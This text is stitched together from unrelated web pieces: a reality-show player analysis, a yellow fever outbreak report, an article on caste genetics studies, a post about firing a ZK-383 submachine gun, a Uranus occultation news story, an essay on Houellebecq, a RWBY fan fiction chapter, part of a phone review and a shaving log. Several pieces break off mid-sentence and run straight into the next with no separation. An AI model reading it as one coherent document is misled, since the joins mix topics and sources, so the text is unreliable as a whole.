Skills & Physical Strength: I compared Nelson to LeRoy and Cara Maria for a good reason. On the No Quitters Podcast, LeRoy called himself the male Cara Maria. They are not well-rounded players who are able to compete with the elite players because they are good at eliminations and dominating physically. So far in Nelson’s career, it’s been about the same, he’s in great shape and kills eliminations. The difference between Nelson and LeRoy is — LeRoy would like to win, Nelson wants to win. To Nelson, the Challenge is his sport, and he is a professional Challenger. After Nelson did poorly in the swim of the Invasion final, he posted clips of him at the gym practicing his swimming.
He might be one of the worst puzzle players in Challenge history, but he practices them. As he improves physically, he continually tries to make himself a better overall player. If Nelson can become average at the competitions where he would usually be weak in, his strengths will push him over the top.
Based on his Instagram, Nelson has been bulking up. Nelson is known for his killer abs and low body fat content — now his arms and chest are significantly bigger after becoming more devoted to his training and fitness. On Social Media, Nelson’s stories always consist of him being at the gym, doing cardio on the track, doing hot yoga, or training by doing martial arts. He focuses on being functionally fit and trying out different types of exercises to have a complete body.
Social, Mental, & Political Game: The pure amount of older generation veterans on Dirty 30 put Nelson between a rock and a hard place. Aligning with Cory and Hunter was a decent move because they would be forced to play the game of the veterans either way. Going into this season, Nelson needs to win challenges in order to gain political power, and then use that political power as leverage for future alliances. With all the rookie guys this season, Nelson’s focus should be on gathering them go against Bananas, instead of playing a lazy game where they vote in the rookie first.
He lacks true allies in this game besides Cory. Nelson needs to be a social butterfly and nice guy on this season. His mental game is his biggest weakness — he needs to keep his cool and not get into any fights again. Nelson should also pray for a good puzzle partner, he has done them in the past, just usually near the bottom of puzzle people.
Eliminations & Winning Potential: In my re-watch of Dirty 30, the thing that amazed me about the way Nelson competes in eliminations is he has the fighter mentality. It hurts him in the house environment when things get tense — in high-pressure eliminations, he is able to turn it on and fights for his life. When watching all the eliminations on Dirty 30, I could have envisioned Nelson winning every single elimination, not that he would have won, but him beating the people who did win/lose those eliminations is not a crazy idea. The only eliminations he would have likely lost in was to Derrick in the hamster wheel elimination, and maybe Hunter in the Paper Hall Brawl (though Nelson beat him in elimination already in the season).
Can Nelson win? Yes, but he needs to get Bananas out of the game in order to give him a strong chance of winning. Nelson is a flawed player who is bad at puzzles and is a poor swimmer. At the same time, nobody has the gas Nelson has when it comes to endurance and hunger. His chances to win the season are good.
Overall Rating: 90/100It has been the worst yellow fever outbreak in Brazil since 2000, killing at least 40 people in just two months. The authorities have confirmed 70 cases, while 300 more are being investigated.
Yellow fever is carried by monkeys and can be transmitted to humans by mosquito bites. The disease causes shivers, aches, vomiting and jaundice, but in severe cases can result in kidney and liver failure and hemorrhages.
Brazil's Ministry of Health has ordered 11.5 million vaccines to fight the outbreak. Around 5.5 million doses have been sent to five states that have confirmed yellow fever cases or are at risk, while six million more will arrive soon, according to health officials.
"We are in a state of alert, but there is no cause for panic," Eduardo Hage, chief of the health ministry's infectious diseases department, told the AFP news agency.
The current yellow fever outbreak has hit the southeastern state of Minas Gerais. Officials have also confirmed cases in the states of Sao Paulo and Espirito Santo.
'Unusual'
"It's unusual," Jimmy Whitworth |
dark skinned, snubbed nose Dravidians to fair skinned Aryans with pronounced proboscis.
Doubts were raised from the Indian side, when Swami Vivekananda’s brother B N Dutta challenged Risley’s notion that ‘higher’ castes had European noses. He simply used more data than Risley.
Later, in a detailed work on the origins of untouchability, Dr B R Ambedkar, the chief architect of the Constitution of India, questioned the methodology and conclusions of Western ethnography. Considering the colonial thesis that the so-called ‘untouchables’ belonged to a different race from the ‘caste Hindus’, Dr Ambedkar made a profound statement. Even if one were to consider ‘anthropometry as a science’ by which the race of a person could be established, he said, the data obtained "disprove that scheduled communities belonged to a race different from the rest of Hindu communities. The measurements prove that the Brahmin and the Untouchables belong to the same race."
So, did Bamshad in 2001, with Single Nucleotide Polymorphism in the place of nasal index, prove Risley’s colonial ethnographic project of 1901 right and Dr Ambedkar wrong?
Interestingly, the story was immediately grabbed by popular science magazines as well as local media. Popular Tamil newspaper Dinamani wrote an article approvingly quoting Bamshad’s paper as ‘Aryan invasion/migration theory’ being finally proved by science.
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UK-based popular science magazine New Scientist presented the Bamshad paper with the sensational heading 'Written in blood'. It then quoted a pro-missionary scholar Robert Hardgrave as saying that there are'some historical and archeological evidence' that the "Aryans came in, they intermarried with indigenous people and also absorbed many of them into their social system of ranking".
The Times of India newspaper reported the study with the prominent heading in its international section: 'Upper caste Indian male more European, says study'.
Frontline, the magazine from the Left-leaning The Hindu family of publications, in reporting the Bamshad paper announced sensationally: "New genetic evidence for the origins of castes indicates that the upper castes are more European than Asian. It took a potshot at'strident nationalism' in the form of 'Hindutva' ideology, which rejects the premise that Aryans were outsiders." While conceding that the archeological evidence of marauding or migrating Aryans was wanting, the article declared "modern population genetics, based on analyses of the variations in the DNA in population sets, has tools" that could provide "a more authoritative answer". And that answer was that the Y-chromosomes of the 'upper caste' men had markers closer to Eastern Europeans than to the Asians.
One lone media voice that questioned the study was India Today. Labelling the Bamshad study 'controversial', an article in the publication drew parallel with the pseudoscientific racial study of Risley a century ago. The magazine quoted the famous archeologist Dilip Chakravarti, questioning the terminology used by the papers. The article cautioned readers against taking the paper as the final say on the matter. Soon, the Bamshad study was followed by another study in 2004. A team of six scientists, including Richard Cordaux of Max Planck Institute for Evolutionary Anthropology, studying the origin of the 'Hindu caste system' concluded that 'paternal lineages of Indian caste groups are primarily descended from Indo-European speakers who migrated from central Asia 3,500 years ago'.
Subsequent Studies Reject The ‘Authoritative Answer’
In 2003, Dr Toomas Kivisild and 17 other scientists published a paper, which studied both tribal and 'caste' populations. The paper reported that the "Haplogroup R1a, previously associated with the putative Indo-Aryan invasion, was found at its highest frequency in Punjab but also at a relatively high frequency (26 per cent) in the Chenchu tribe". This suggested ‘that southern and western Asia might be the source of this haplogroup’.
This study did not receive the media spotlight that Bamshad paper received. However, it did prove to be a turning point. Dr Gyaneshwer Chaubey, of Estonian Biocenter, who is an expert in the field of biological anthropology and evolutionary biology, says, "the paper is still true and that is the one which has enlightened me to move to population genetics from Drosophila genetics!" Dr Chaubey since then has been at the forefront of research work related to the peopling of South Asia and is co-author of almost all the important papers dealing with the subject.
Then in 2006, a major genetic study of the Indian population was taken up by a team of 12 scientists. The study produced results that contradicted the 2001 study of Bamshad et al. However, this too did not receive the media attention it deserved. The paper had concluded:http://jamesdjulia.com/item/2687-391/
The Czech-made ZK-383 submachine gun is a bit of an oddball in the world of submachine guns. It has several design features typically associated with rifle-caliber light machine guns - an integral bipod and a quick-change barrel. In fact, the ZK-383 was designed to be a hybrid gun, usable as either a standard SMG or in a support role off the bipod.
Another interesting mechanical feature of the ZK-383 is the removable weight in its bolt, which allows the shooter to choose between fast and slow rates of fire by removing the weight or leaving it in place. In my shooting, the slow rate was about 470 rpm and the fast rate was about 750 rpm. Personally, I preferred the slow rate - but both were exceedingly easy to control. The gun is fantastically well made, as one might expect from a pre-war Czech weapon.
This particular ZK-383 is an original transferrable C&R gun, brought back to the US by a veteran after WWII. It is a very early production gun, with a German-marked magazine well but no other German markings, and clearly did not see much abuse during the war.
In all honesty, this is the overall best military submachine gun I think I have ever fired.
http://www.patreon.com/ForgottenWeaponsScientists are calling it "Uranus, interrupted." For a moment on Thursday, Uranus disappeared from the sky, eclipsed briefly by the moon.
"The moon is going to cover up - we say photobomb - Uranus," Slooh astronomer Bob Berman told CBS News. "That is surprisingly rare to see the moon occult a planet in the solar system. Uranus isn't the brightest of all of them but anybody can see it with binoculars."
Armchair astronomers, mostly in Australia and other parts of the southern hemisphere, got the chance to see the moon block Earth's view of this strange, green planet. The event was expected to kick off 3 p.m. Thursday on the East Coast - just before sunrise in Australia Friday - and last for about an hour.
For those watching the event, the bright side of the crescent moon covered up Uranus and then the planet emerged from the dark, unlit side of the moon.
"Watching Uranus telescopically vanish behind the detailed, sunlit portion of the Moon and then suddenly emerge from the lunar dark side, should be pretty dramatic," Berman said before the event, adding that the view seen will differ depending on where you are located in Australia.
Outside of the photobomb zone around Australia and New Zealand, observers in the rest of the world will see Uranus close to the crescent Moon in the eastern pre-dawn sky.
The only way for Americans to see it is via a live stream operated by Slooh, a community observatory that works to increase public awareness of astronomy.
Uranus' discovery in 1781 was huge news, since no one imagined additional planets existed beyond the five known since pre-history. Scientists later learned it orbits with its poles "on its side" so that its seasons each last for 21 years. It also has grabbed the imagination with its retinue of bizarre moons and its unique green color as well as the rings encircling it.
Still, Berman acknowledged Thursday's event so far hasn't drawn the kind of attention that a solar eclipse or lunar eclipse might.
"The public doesn't know about Uranus," he said. "Most people aren't going to get up at 4 in the morning, dig out their binoculars from some drawer... It's not like a total solar eclipse, where even if you don't care about science, you will have your mind blown by it."
It is more likely to resonate with scientists who can appreciate the fact that "it's the only green thing in the sky, it will vanish and reappear suddenly and was the time tested way of telling the distance to the moon."
But even for them, there is not much to be gained other than witnessing a cool event.
While a solar eclipse offers scientists a chance to directly observe the interactions between different layers of the sun's atmosphere, known as the photosphere, chromosphere and the solar corona, this event does little more than confirm what we already know about Uranus. Even using it tell the distance to the moon is unnecessary, ever since Apollo 11 astronauts placed laser ranging retroreflector on the moon back in 1969.
"It helps us refine the orbital parameters. It helps us double check the things we think we already know," Berman said. "But honestly speaking, the thing it would do best is triangulate and pinpoint very accurately the distance to the moon. But thanks to the corner cubes, thanks to the Apollo astronauts, we already know that."
Aside from losing its cachet as a scientific measurement tool, the planet has struggled to escape its name, which has long has been the target of silly jokes among school children (and, let's face it, adults).
"I love it just because it's green. There is nothing else as green in the whole solar system," Berman said. "Plus, a lot of people don't realize it but this was the thing that most astonished the world. Nobody thinks of it today. It's the butt of jokes... For a while, there was nothing bigger than Uranus."Houellebecq is not a “good” writer in the way someone like Nabokov, Ann Patchett, Elmore Leonard, Carlos Ruiz Zafón, or countless others whose sentences sing, metaphors work, and who make one stop to save the rightness of their description. But Houellebecq is a different, unusual, or unique writer: he sounds like no one else I’ve read. He’s prone to writing like a nonfiction writer (“Undoubtedly there used to be a form of demotic happiness, connected to the functioning whole, which we are no longer able to understand”), a nonfiction writer who shifts suddenly into overly pornographic registers (“Women give an impression of eternity, as though their pussy were connected to mysteries—as though it were a tunnel opening onto the essence of the world, when in fact it is just a hole for dwarves, fallen into disrepair”), or a more conventional writer (“Fortunately Harry intervened, and the conversation was raised to more transcendent subjects (the stars, infinity, etc.), which allowed me to tuck into my plate of sausages without trembling”). To “tuck into my plate of sausages” is so normal in a book—The Possibility of an Island—so weird.
If you’ve read one or two thrillers you’ve probably read most thrillers; if you’ve read one competently but boringly written commercial novel you’ve read most of them; if you’ve read 50 Shades of Grey you should be ashamed because there’s much better verbal pornography available. But Houellebecq sounds like himself, and his concerns are almost random-seeming (sexuality, contemporary consumerism, philosophy, history) yet they drive me, and I suspect others, to try to figure out what braids them. Story is one possible answer, though it is a bad one and there are others.
Being unique without exactly being good still counts. Too many “good” writers do MFA-approved stuff taken from the Francine Prose and James Wood handbooks. I don’t want to knock that style—arguably I’m doing it at times—but it is a distinctive style (almost like the New Yorker’s) and school and if you read enough lit fic or better commercial fic you’ll recognize it and start to categorize it and start to use annoying abbreviations like “fic.”
I suspect that readers who don’t reject Houellebecq outright for reasons or psychological or moral outrage may worry: what if he does describe the world? That’s why he’s morally outrageous. What if his low-affect, high-description, no-content view of the universe is right? It’s unsettling, and for that reason he may be a bad signal: say you like Houellebecq and you’re saying there may be something amiss in you. I don’t fully buy the Houellebecq worldview—too much sunny American in me, I guess, and too tight an affinity with a Zero to One worldview—but I could probably ape or paraphrase it if need be: everything comes down to material conditions; the spiritual is dead; we’re either monsters of desire or we’re standing novelistically outside it, smoking a cigarette, and commenting on it.
I wish more MFA types would read Houellebecq, and read him with care. But he’s not a writer likely to be politically palatable to university types or to contemporary mores (which is also why I suspect he has a higher chance of enduring when today’s New York Times-approved hot author is forgotten).
In an odd way parts of Houellebecq feel like Elena Ferrante, another European export who in terms of content is the opposite of Houellebecq, and yet one senses that they’re both writing about the same currents and social conditions through fiction that doesn’t feel like fiction. He fascinates instead of bores.
I don’t claim to understand Houellebecq and very few writers do. The best and most convincing reading of his work I’ve encountered is Adam Gopnik’s “The Next Thing: Michel Houellebecq’s Francophobic satire,” which views Houellebecq as nostalgic for the late ’50s and early ’60s. This seems odd to me—I view the present as better than the past and the future likely to be better than the present—but I wonder if my view is the minority one. Houellebecq’s future island is not a good one. He uses the pessimistic strands of SF in Island and The Elementary Particles. I like optimists.Yang flipped through the book that Blake had given her, barely reading the pages as she flipped through them. She regretted bringing up that she wanted to be more informed of what Blake was interested in, and the girl had given her one of her sappy love stories and told her to read it. She was having no fun, as reading was not her favorite thing. She liked reading to people, especially Ruby, but this was not her style. However one thing did catch her attention. She got to a part where the couple were fleeing the deadly monster, but as it approached them, the man said to the woman.
"My dear reader, it seems as if you have fallen into my trap again. Yes, this is another author's note, and I disguised it as part of the story to guarantee you read it. I know I usually skip the notes, because I'm such a bad person. I just wanted to make sure you read this, as its important. I just wanted to say a few things.
I apologize for not uploading a story in a few days. I was pretty good on my release schedule before, but this was just ridiculous. I have been stuck on this story for a few days. Well, actually I couldn't even type on Tuesday. I was gone from six A.M. to eleven P.M. for personal reasons. They were not sad, actually I'm quite happy, but it gave me no chance to type. I wasted all of Sunday and Monday reading other stories. Hey, I'm allowed to be a fan once and a while too. This helped me gather some more inspiration for later ideas, though. I should have been more focused on this however, as I have fans who wait for me to release more content. For that, I sincerely apologize.
However, I will say, I did not fully enjoy writing this chapter. While I liked the idea at first, it quickly faded on me, but I didn't want to just give up. I feel like this isn't my best work. This is what I get for trying to make a happy chapter with no strife. But oh well. I usually listen to the soundtrack as I write, and I guess I May Fall was affecting how I write the other stories. I love the song, but the lyrics are quite depressing. Which is why I also love Gold and the remix of I Burn, both dedicated to my girl, Yang.
Here I find myself rambling, as I extend this a lot more than I should. I would like to ask you readers something, though. If you feel, that you have an idea that you would like to see in a story, feel free to leave a review or message me, and I will be happy to consider writing about it. I have many things going on in my life, but I try to dedicate as much time as I can to writing these, to please the crowd. If you guys want to see something, I will gladly write it, so I can make you all happy.
To sum this up, I apologize for taking forever to do this, I didn't exactly feel this chapter, but I have something big planned for the next four, actually, and feel free to pitch your own ideas. I will finish this by thanking everyone for your continued support. It means the world to me in my depressing life. I hope you enjoy this, nonetheless!"
Yang slammed the book shut, groaning loudly. She muttered to herself. "Why does he always feature me in these notes. He knows I hate it. Why can't he get Blake to do it."
She jumped down off her bed and stormed out of the room, slamming the door. However, what she didn't know, was that her partner was sitting in the back corner of her bunk, and had heard what she said. All Blake did was wink.
Yang kept looking at the clock. Of course she wanted to get out of class. It was the last class of the day, on a Friday. That meant that tonight, she would be all about fun. Yang hadn't exactly planned anything, but was going to surprise her team. They would be doing something fun tonight, no matter what.
But for now, she had to focus on Professor Port's boring lecture. Yang had a neutral view of the Professor. Sure, he was boring, and weird, and had tried to flirt with her on the first day, that was pretty bad. But he was a kind person at heart, or she thought. He had also found a way to convince Weiss not to be mad at Ruby for her not being leader. And she found the way his belly jiggled a lot to be funny.
At the moment, he was going on some long talk about the dangers of Ursae. Yang didn't need to be told that. She had defeated many Ursae. They were always present at key times. Like when she had needed to fix her aura. And when she had become partners with Blake. Yang had to smile at that.
"And so, make sure never to have anything that smells sweet on you when hunting Ursae. They will smell it, and become interested, wanting to find a snack. When they what they are looking for, but it is in your possession, they will attack to try to get it. They might even try to eat you!" He chuckled, but no one joined him. Yang thought she even saw Cardin flinch at that statement. That made her feel better.
She glanced back at the clock, only five more minutes. She looked over at Blake, who was actually paying attention and taking notes. How the Faunus girl did it, she wasn't sure. Yang was also surprised she was dating a girl who was so smart and actually tried in school. Then again, Blake had other qualities that Yang… desired. Was that the right word? Well, she desired Blake's outer qualities, and she liked her inner qualities. Yang got a devilish smile, thinking more about Blake.
"Ms. Xiao Long! Can you tell me the answer to the question!" Uh oh. She definitely wasn't paying attention, even if she knew the answer. She was stuck in the same situation Jaune often found himself in. If fact, she could see him giggling in the corner. Yang would get him for that, but without hurting him. She simply looked at Blake, who noticing Yang hadn't been paying attention, had written down the answer to the question. This happened often, as Professor Port liked to call on people he thought weren't looking.
She read the paper and repeated. "Well, Ursae usually travels in pairs of two, but they can be seen in packs of up to six creatures. Beowolves, on the other hand, like to travel in larger packs, of up to forty creatures. However this number can be far exceeded." That answer sounded way too smart for Yang, but Port just nodded.
"That is correct Ms. Xiao Long, very good." He went back to droning the class in a boring lecture. Yang gave a smile of appreciation to Blake, who simply winked at her. She then glared at Jaune who had stopped laughing. He realized that there was nothing to laugh at anymore, as Yang had gotten the question right anyways. That made Yang smile. She had gotten the revenge she wanted, ruining his joke.
All of a sudden, the bell rang and everyone started to get up. Yang shot up like a rocket, having packed up a little early. She dashed out of the room, not listening for homework or anything. She could just get it later from Blake. As she was running towards the dorm, she saw a red blur pass by her, and she knew her sister would be at the room when she got there. She glanced back and saw Blake and Weiss walking together, casually chatting and not wanting to rush. Good, that would give Yang enough time to think to think of something fun to do.
When she reached the room, she found Ruby rifling through the room looking desperately for something. Yang grinned, because she knew what it was. Ever since Weiss had found Ruby's cookie stash, she had re-hid it and only gave Ruby cookies as rewards or as a special treat. It was funny to Yang, but sometimes Ruby could get into weird moods when she didn't get her cookies.
Ruby heard someone enter, and turned around to see Yang leaning in the doorway, grinning at her attempts to find the cookies. She simply said. "Don't tell Weiss."
Yang chuckled. "Wasn't planning on it little sis. I would stop your search if I was you. She's on her way back her."
Ruby sighed. She went and sat down on her bed, pulling out her scroll to check for any important messages. Yang leaned out the doorway and saw Blake, Weiss and Team JNPR approaching. They were all just chatting about something that must have been good, because they were all smiling. Yang figured that she could maybe involve the other team if they did something all together tonight.
Sure enough, as Blake and Weiss entered their room, Jaune, Pyrrha, Nora and Ren followed them in continuing their conversation. Nora waved at Yang, who smiled back. Ren gave a slight nod, which she acknowledged with a wink. Blake went and sat down on her bunk, and Weiss and Pyrrha joined her. Jaune, Ren and Nora went and started talking to Ruby. Yang was left out, but that was good because it gave her time to think.
She came up with a good idea that gave her a devilish smile. Her idea involved everyone, it was entertaining, but it allowed her a time during this activity where she could disappear with Blake and no one would notice. However, she didn't want to come off as bossy, which she sometimes did, so Yang decided to make it a group discussion before proposing her idea.
While she did feel a little interrupting everyone, it was for a good cause. "Hey!" Everyone turned to her. "It's a Friday night, and we've got nothing to do, so why don't we go have some fun tonight?"
She got a mixed reaction. Ruby, always excited to do something fun, especially when Yang was the ringleader, jumped up and smiled. Blake just rolled her eyes and grinned. She knew nights out with Yang could be fun or crazy, or even both. Nora looked just as excited at Ruby, her eyes wide with wonder. Jaune looked a little uncomfortable, but Pyrrha gave him a look that made him put on a fake smile. She obviously wanted to do something fun. Weiss and Ren both looked like they did not want to be a part of this.
Pyrrha spoke first. "What did you have in mind?" Yang grinned. Of all the girls to ask that, Pyrrha seemed like the least likely, which made Yang happy. She told them this. "Well, I have an idea in mind, but I will allow anyone with ideas to pitch in first."
Nora threw out her idea first. "Oooooo! What if we go… to uh… a nightclub!"
Yang immediately shook her head. "Nope." Everyone in the room agreed. Weiss and Blake didn't like being around that many people, nor were they fans of dancing. Ruby was too young. That wasn't Pyrrha's thing. And even though Jaune and Ren had some crazy dance moves, they didn't like to show them publicly. Nora looked disappointed, but Yang wasn't going to do that. No matter what.
"There is only one good nightclub in town, trust me, and I'm not allowed to go there."
Nora looked confused. "Why aren't you allowed there?"
Yang looked at Ruby, who instantly knew what she was talking about. Yang glanced back at Nora. "Let's just say that I may have angered the manager, and something bad happened there. For everyone's safety we can't go there."
Everyone silently was relieved. No one had like that idea, any Yang had made it impossible to go. Yang decided to see if anyone else had any good ideas. "Anyone else like to pitch in?" No one said anything. "Of course. Then I guess you want to hear my idea?" They all nodded.
"Well then, my idea was… that we go see a movie!" She spread her arms and put on a silly smile. Everyone just stared at her. "Nothing? Really?" Ruby asked. "Well, what movie did you have in mind." Yang looked at her. "I heard that Sarge was still in theaters. It might not be so packed, considering just about everyone has seen it."
That got everyone's attention. Sarge, a Red Vs. Blue Movie, made by RoosterTeeth Productions and MJC productions, was the most successful movie ever in the history of movies. It was based off of the popular TV show, Red Vs. Blue, which was the most watched TV show ever. Everyone on the planet loved Red Vs. Blue, so it was a very good suggestion.
Everyone nodded at her idea. Yang had multiple reasoning's for it though. She loved movies, and she loved the movie they were going to see, but she was more interested in one thing. Movie theaters were dark, and if the theater wasn't packed… well Yang could have some fun.
She clapped her hands together. "Alrighty then, let's get going, cause it seems like everyone is in agreement." A thought occurred to her. "Umm… When we get to Vale though, the movie theater is pretty far away from where we would end up. I mean, I have my bike, which can seat 2 comfortably." She winked at Blake. "And 3 uncomfortably, and possibly illegally." She looked at Ruby, who smiled back. "How would everyone else get there?"
Jaune shifted where he was standing, scratching the back of his head. Pyrrha looked around for any other ideas. Ren and Nora exchanged a glance, but said nothing. Weiss made a suggestion. "Couldn't we just walk?" Yang shook her head.
"It would take to long, and the movie would probably be over. I checked and they have one showing tonight, and we could make it if we drove."
Oddly Ren spoke up. "I actually have a car in Vale, nearby where we would be dropped off, but it only has four seats." He exchanged a look with Yang, who was confused, but she then smiled at her realization. Weiss began looking around. "Are you saying I would be the only one left behind? Are you serious!?" She started to get really fumed, but then Yang burst out laughing, enough to make her fall to the floor.
Weiss was getting even madder. "What are you laughing at you brute! Are you happy that I would be left behind!" Yang was wiping tears of joy from her eyes. Those were the only acceptable kind for her. "I'm not laughing because you would be left behind, I'm laughing because of you not noticing an obvious fact."
Weiss looked confused. Yang kept going. "What kind of car would only have four seats? Of course it had five. Ren was just joking and you bought it." Yang went back to laughing uncontrollably, to which Ren joined in. Everyone else just started giggling once they caught on. Weiss had an embarrassed look on her face.
Weiss played off her mistake. "Well, if we have transportation let's get going! We don't want to miss the movie." She grabbed Ruby and raced out the room. Yang, taking that as a challenge, pushed over Jaune and yelled. "Last one to the ship is… uh… less cool than everyone else!" She dashed forward at full speed, hoping to catch and pass her two teammates.
When they got to the movie theater, it was actually pretty deserted. Yang had predicted this, however, because something else important was going on. The Achieve Men were in town, and they had a concert going that night. Yang would have definitely gone, but the tickets were too expensive for four people, and she didn't want to not include anyone. Nor did she want to ask Weiss for help with that.
They walked in and bought their tickets for Sarge, and moved to the snack bar. Ruby's eyes lit up as she walked past all the sugary treats she could get, but Weiss reigned her in before she could grab any. Ruby tried to give Weiss her signature puppy dog face, but the heiress wasn't having any of that. She bought her a large popcorn and a drink and dragged Ruby to the theater.
Everyone else just got their food and walked after the two partners ahead of them. They found their theater, and Yang hoped there would be barely any people like she had promised. She was rewarded when they entered, and there was not a single other person inside. She grinned and dragged Blake to about halfway up the seats, and they plopped themselves down. She didn't plan on sitting there, but they did it for image purposes.
However, she wasn't counting on Ruby and Weiss sitting next to them, as well as Team JNPR sitting to Weiss's left. She looked at Blake, who had already realized her intentions. Blake gave her a wave, as if to say "I got this." Yang hoped she had a good plan, because she knew something that Weiss didn't: Sitting next to Ruby in a movie with large, sugary snacks was never a good idea. Yang looked back to her partner and whispered. "If you're going to do something, wait until a little after the movie starts, hopefully when no one is looking." Blake smiled. Oh, she had a great plan in mind.
The lights began to dim as the trailers ended, signaling the start of the movie. Ruby was bouncing up and down, very excited to see this movie. Yang was pretty sure she had seen it already, but Ruby did love RvB. Her silver eyes were full of wonder, and she was trying to shift some of her enthusiasm to Weiss, who seemed slightly bored already. She giggled and looked back to Blake, but was shocked when she saw her partner was gone. Yang shrugged, because she knew Blake was just figuring out her plan.
The movie started, and everyone immediately shut up. However, after about five minutes, there was a loud noise to the left. Everyone turned that way in surprise, except for Yang, who had a hand cover her mouth and was forcefully dragged from her seat. Seeing nothing, her sister turned to Yang to see if she saw anything, only to notice that the blonde was gone. She looked around for her golden locks, easily visible in a theater, but they were absent. She shrugged and went back to watching the film.
In truth, Ruby should have been able to see her sister. She was all the way in the back left of the theater behind everyone. However, her figure was currently covered because one raven haired girl was sitting on her lap. Yang was smiling devilishly, seeing that she was having more and more of an impact of Blake. Before she could say anything, though, she was brought into a kiss by her girlfriend, and they stayed that way for a while. Not that Yang minded, this was her plan anyways.
They kept going, glad to have this extended time together. Nothing went further than kissing and hand movement, but it felt amazing. While Yang would like to go further, always envisioning Blake in ways the Faunus would be uncomfortable with at the time, she managed to keep her composure. The blonde loved observing the curves of Blake's perfect figure, and she savored running her hands over them as she held Blake close.
Lucky for them, no one had noticed or cared enough to actually search for them. During a brief moment of separation for air, Yang glanced at her friends. Nora was laughing, and trying to encourage Ren to join her. Yang couldn't see his face, but she assumed that he was just smiling and humoring her happiness.
Pyrrha seemed to be on Jaune's shoulder, making the boy very tense and awkward. They weren't a couple, but everyone saw the signs that Pyrrha was projecting. Jaune just didn't make any moves, which confused everyone else. Yang and Pyrrha had talked lengths about this, as Yang vanquished her fears stating that Jaune was just an oblvious idiot, but a lovable idiot at that. She had continued with her attempts, making some headway, but Jaune still wasn't getting the message. Yang figured she could help with that.
She glanced at her teammates last, noticing a cute scene. Weiss and Ruby were holding hands, with the Ruby leaning on Weiss in the same way Pyrrha was leaning on Jaune. This wasn't a romantic movie in the slightest, but they just enjoyed each other's company.
Their relationship wasn't as intimate as Yang and Blake's, but the love between them was almost as strong.
Before Yang could even let out an 'aww' to the cute scene she saw, Blake was on her again, which brought Yang's attention away from her friends and to her favorite kitten. Yang decided if her partner was going to be so pushy for once, she would test her will. She put her arms around Blake's waist, rubbing her figure again. She her Blake purr, but she kept moving her hands slowly lower and lower. As she reached the breaking point, she opened her eyes. Blake seemed to notice, and her eyes flew open. Her amber orbs stared into the lilac eyes of her counterpart. She raised her eyebrow, and Yang couldn't help it. She separated from Blake and burst out laughing. Blake shoved her hand over Yang's mouth so her friends wouldn't find their hiding spot.
"Yang, honey, what exactly were you doing?" She had a tint of annoyance in her voice.
Yang grinned fiendishly. "Testing you!" Blake rolled her eyes.
"I know that was I did was sort of… rebellious for me, but that doesn't mean that I was taking a step closer to… that point. I just figured that since I was stealthier, it would be optimal for me to get us out of there." Leave it to Blake to think of an escape strategy, when probably no one would have cared if they left.
Yang sighed and glanced at the movie, visibly disappointed. "Oh well, maybe another day." Blake smiled.
"That day will get closer, if one blonde decides to be patient for me." Yang immediately whipped her attention back to Blake and her jaw dropped.
"Err...err… Yes! My sweet kitty cat! Whatever you want!" Yang eagerness made Blake smile. They returned into the embrace they had previously been in, and Yang was still loving every moment of it.
When the movie ended, everyone was very satisfied. It had been a great movie, satisfying Nora, Ruby and Jaune's desire for action, and Pyrrha, Ren, and Weiss's desire for drama. No one knew Blake and Yang's opinion of the movie, but of course they hadn't been watching, unbeknownst to the rest of the group. They didn't tell them where they had been, just that they had been present. Since they were so silent, no one else delved into what they could have been doing.
They exited the theater in several small groups, with Ren and Jaune talking about something important, because they wore serious expressions. Nora and Ruby skipped ahead, playfully shoving each other from time to time. Pyrrha and Weiss chatted casually about school and other things. Yang and Blake followed behind everyone else, holding each close, not wanting to leave that position. Pyrrha glanced back and saw them. She smiled and nudged Weiss, who also looked back and rolled her eyes. Weiss wasn't sure about everyone else, but she knew what the two had been doing. She wouldn't say it out loud, however.
When they got to where the vehicles were parked, Nora and Ruby ran to their respective vehicles, eager to return home and chat more about the movie they had watched. Yang smiled and directed Blake, who looked very sleepy, over to her bike. Ren, Pyrrha, Jaune, and Weiss made their way over to Ren's car. Weiss glanced at Ruby, who smiled, so she returned the gesture. She entered the car and watched at the bike sped ahead with the crazy blonde hooting and hollering in the wind, her hair flowing wildly behind her. How she ever got a license was beyond Weiss.
When they got to the ship, Weiss realized how close they could have been to being stuck in Vale for the night. Yang had timed it so when the movie ended, they had twenty minutes to make it back to the ship, which was the last one for the night. They had made it in fifteen, with Ren trailing behind by two minutes. Weiss was too tired to be angry, however, as it was very late and she wanted to go to sleep.
They sat down, with |
is home to the power button -- a more awkward location than on the side, in my experience -- while the volume buttons are on the left edge. The back cover is removable, providing access to the SIM-card slot, the removable battery and the microSD card slot. You'll probably want to get a microSD card too, as the 8GB of built-in storage won't last long once you start downloading apps and games.
Display
The 4.7-inch display has a resolution of 840x480 pixels, which is the absolute minimum I'd expect to see on any smartphone, even at the budget end of the market. Less than HD, it results in a pixel density of 208 pixels per inch -- way below what you'll find on the One M8, the One Mini 2 or the Desire Eye.
Andrew Hoyle/CNET
Of course, those phones cost way more than the 510, so I can't in all good conscience expect the same quality display on such a cheap phone. The UK-only EE Kestrel is £10 more expensive, but has a slightly higher 960x540-pixel resolution. The 510's screen is adequate for the absolute basics. Text is sharp enough to read easily enough, but it has a definite fuzziness to it that you won't see on higher definition panels.
It's fairly bright at least, managing to counter much of the reflections from our office overhead lights. Colours are a little cold, but I've certainly seen worse. If you only really want a smartphone for texting, Twitter and a spot of light gaming every now and then, the screen will be fine.
Android software
The 501 runs Android 4.4.2 KitKat, which is a couple of versions old now, but forgivable, given the cut-down price. HTC has applied its Sense software over the top, so the interface looks identical to the one you'll find on the top-end One M8.Pre: Shave Secret
Brush: GBS Pure Badger Brush
Soap: Arko Men – Cool
Razor: Frankentech
Blade: Gillette 7 O’Clock Black
Splash: Shea Moisture Shave Tea Tree Herbal Bump Preventer
Post: Aqua Velva Classic Ice Blue AS
A quick cold shave this early morning. Last shave on the 7 O’clock Black. Was noticeably less sharp, but still pretty smooth. No tugging or dragging but had to go over certain spots a couple times more than usual to achieve my desired smoothness. I’m liking the cold shave more and more. Not going to totally switch over, but it’s nice.
Not that impressed with the Arko Cool Shaving cream. I mean it lathers well, and has decent glide, but almost no scent that I could detect, and no “cooling” effect at all. Still I achieved a BBS shave with it so it will continue to get used. Maybe I will get a TSD M-bomb and add to it. That actually sounds like a plan.
My Wednesday morning shaves always feel rushed due to the early time, so I never feel like I enjoy them as much as usual. Getting up even earlier is not an option though. That’s also why the SOTD gets posted later on Wednesdays.
Hope you had a productive day!
